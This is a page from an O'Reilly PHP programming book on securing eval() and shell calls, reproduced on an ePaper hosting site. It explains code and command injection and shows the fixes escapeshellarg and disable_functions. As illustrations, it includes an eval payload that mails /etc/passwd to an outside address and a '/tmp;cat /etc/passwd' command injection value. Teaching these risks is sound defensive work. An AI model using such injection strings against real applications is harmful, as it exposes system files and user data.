05.05.2013 Views

Programming PHP

Programming PHP

Programming PHP

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

You can globally disable particular function calls by listing them, separated by commas,<br />

in the disable_functions configuration option in php.ini.For example, you may<br />

never have need for the system( ) function, so you can disable it entirely with:<br />

disable_functions = system<br />

This doesn’t make eval( ) any safer, though, as there’s no way to prevent important<br />

variables from being changed or built-in constructs such as echo( ) from being called.<br />

Note that the preg_replace( ) function with the /e option also calls eval( ) on <strong>PHP</strong><br />

code, so don’t use user-supplied data in the replacement string.<br />

In the case of include, require, include_once, and require_once, your best bet is to<br />

turn off remote file access using allow_url_fopen.<br />

The main message of this section is that any use of eval( ) and the /e option with<br />

preg_replace( ) is suspect, especially if you allow users to put bits into the code.<br />

Consider the following:<br />

eval("2 + $user_input");<br />

It seems pretty innocuous. However, suppose the user enters the following value:<br />

2; mail("l33t@somewhere.com", "Some passwords", `/bin/cat /etc/passwd`);<br />

In this case, both the command you expected and one you’d rather wasn’t will be<br />

executed. The only viable solution is to never give user-supplied data to eval( ).<br />

Shell Commands<br />

Be very wary of using the exec( ), system( ), passthru( ), and popen( ) functions and<br />

the backtick (``) operator in your code.The shell is a problem because it recognizes<br />

special characters (e.g., semicolons to separate commands). For example, suppose<br />

your script contains this line:<br />

system("ls $directory");<br />

If the user passes the value "/tmp;cat /etc/passwd" as the $directory parameter,<br />

your password file is displayed because system( ) executes the following command:<br />

ls /tmp;cat /etc/passwd<br />

In cases where you must pass user-supplied arguments to a shell command, use<br />

escapeshellarg( ) on the string to escape any sequences that have special meaning to<br />

shells:<br />

$cleaned_up = escapeshellarg($directory);<br />

system("ls $cleaned_up");<br />

Now, if the user passes "/tmp;cat /etc/passwd", the command that’s actually run is:<br />

ls '/tmp;cat /etc/passwd'<br />

The easiest way to avoid the shell is to do the work of whatever program you’re trying<br />

to call. Built-in functions are likely to be more secure than anything involving the shell.<br />

This is the Title of the Book, eMatter Edition<br />

Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.<br />

Shell Commands | 295

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!